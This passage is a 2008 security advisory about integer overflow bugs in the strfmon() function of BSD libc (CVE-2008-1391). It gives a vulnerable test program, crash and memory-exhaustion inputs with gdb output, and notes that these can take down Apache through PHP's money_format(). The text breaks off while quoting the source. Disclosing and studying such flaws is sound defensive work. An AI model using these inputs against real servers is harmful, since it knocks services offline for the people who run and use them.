Home / vulnerabilities bsdlibc-multi.txt
Posted on 28 March 2008
Source : packetstormsecurity.org Link
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ *BSD libc (strfmon) Multiple vulnerabilities ]
Author: Maksymilian Arciemowicz (cxib)
SecurityReason.com
Date:
- - Written: 10.03.2008
- - Public: 25.03.2008
SecurityReason Research
SecurityAlert Id: 53
CVE: CVE-2008-1391
SecurityRisk: High
Affected Software:
FreeBSD lines: 6,7
NetBSD 4
another systems what use this functions.
Standard C Library (libc, -lc) for BSD
probably some MacOS version
Advisory URL:
http://securityreason.com/achievement_securityalert/53
Vendor: http://www.php.net
- --- 0.Description ---
strfmon -- convert monetary value to string
The strfmon() function places characters into the array pointed to by s as controlled by the string pointed to by format. No more than maxsize bytes are placed into the array.
The format string is composed of zero or more directives: ordinary characters (not %), which are copied unchanged to the output stream; and conversion specifications, each of which results in fetching zero or more subsequent arguments. Each conversion specification is introduced by the % character.
SYNOPSIS:
#include <monetary.h>
ssize_t
strfmon(char * restrict s, size_t maxsize, const char * restrict format,
...);
- --- 1. /usr/src/lib/libc/stdlib/strfmon.c - Integer Overflow ---
The main problem and vulnerability exist in strfmon() function. When we use this function in example program:
- ---example-start--
#include <stdio.h>
#include <monetary.h>
int main(int argc, char* argv[]){
char buff[51];
char *bux=buff;
int res;
res=strfmon(bux, 50, argv[1], "0");
return 0;
}
- ---example-end--
and compile it, we can manipulate format string.
Let's try to run example:
cxib# ./pln %99999999999999999999n
Segmentation fault (core dumped)
What is wrong? Let's see
cxib# gdb -q pln
(no debugging symbols found)...(gdb) r %99999999999999999999n
Starting program: /cxib/C/pln %99999999999999999999n
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x2814e0e6 in memmove () from /lib/libc.so.7
(gdb)
memmove() will bad reallocation memory.
cxib# gdb -q pln
(no debugging symbols found)...(gdb) r %.9999999999n
Starting program: /cxib/C/pln %.9999999999n
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x2814f093 in abort () from /lib/libc.so.7
Next example is :
cxib# ./pln %#99999999999999999999n
Long execution time. Let's try check this process :
- --------------------------
cxib# ps -aux | grep pln
cxib 1843 89.1 13.2 140320 119588 p2 R+ 4:29PM 0:09.68 ./pln %#99999999999999999999n
cxib# ps -aux | grep pln
cxib 1843 94.7 48.4 482336 438236 p2 R+ 4:29PM 1:54.07 ./pln %#99999999999999999999n
1 VSZ=140320
2 VSZ=482336
- ----------------------------
Why? pln will allocate more memory that we have. PHP use strfmon() in money_format() function. When we use mod_php5 in apache, we can create example exploit.. result will be :
- ---apache-child-die---
swap_pager: out of swap space
swap_pager_getswapspace(16): failed
Mar 15 21:03:23 cxib kernel: pid 1210 (httpd), uid 80, was killed: out of swap space
- ---apache-child-die---
Difference between %99999999999999999999n and (%#99999999999999999999n or %.9999999999n) is "#" or "."
o A '#' sign followed by a decimal number specifying the maximum
expected number of digits after the radix character.
o A '.' character followed by a decimal number specifying the number
the number of digits after the radix character.
Let's see the source of strfmon() function :
- ---strfmon()-start---
ssize_t
strfmon(char * __restrict s, size_t maxsize, const char * __restrict format,
...)
{
va_list ap;
char *dst; /* output destination pointer */
const char *fmt; /* current format poistion pointer */
struct lconv *lc; /* pointer to lconv structure */
char *asciivalue; /* formatted double pointer */
int flags; /* formatting options */
int pad_char; /* padding character */
int pad_size; /* pad size */
int width; /* field width */
int left_prec; /* left precision */
int right_prec; /* right precision */
double value; /* just value */
char space_char = ' '; /* space after currency */
char cs_precedes, /* values gathered from struct lconv */
sep_by_space,
sign_posn,
*signstr,
*currency_symbol;
char *tmpptr; /* temporary vars */
int sverrno;
va_start(ap, format);
lc = localeconv();
dst = s;
fmt = format;
asciivalue = NULL;
currency_symbol = NULL;
pad_size = 0;
while (*fmt) {
/* pass nonformating characters AS IS */
if (*fmt != '%')
goto literal;
/* '%' found ! */
/* "%%" mean just '%' */
if (*(fmt+1) == '%') {
fmt++;
literal:
PRINT(*fmt++);
continue;
}
/* set up initial values */
flags = (NEED_GROUPING|LOCALE_POSN);
pad_char = ' '; /* padding character is "space" */
left_prec = -1; /* no left precision specified */
right_prec = -1; /* no right precision specified */
width = -1; /* no width specified */
value = 0; /* we have no value to print now */
/* Flags */
while (1) {
switch (*++fmt) {
case '=': /* fill character */
pad_char = *++fmt;
if (pad_char == '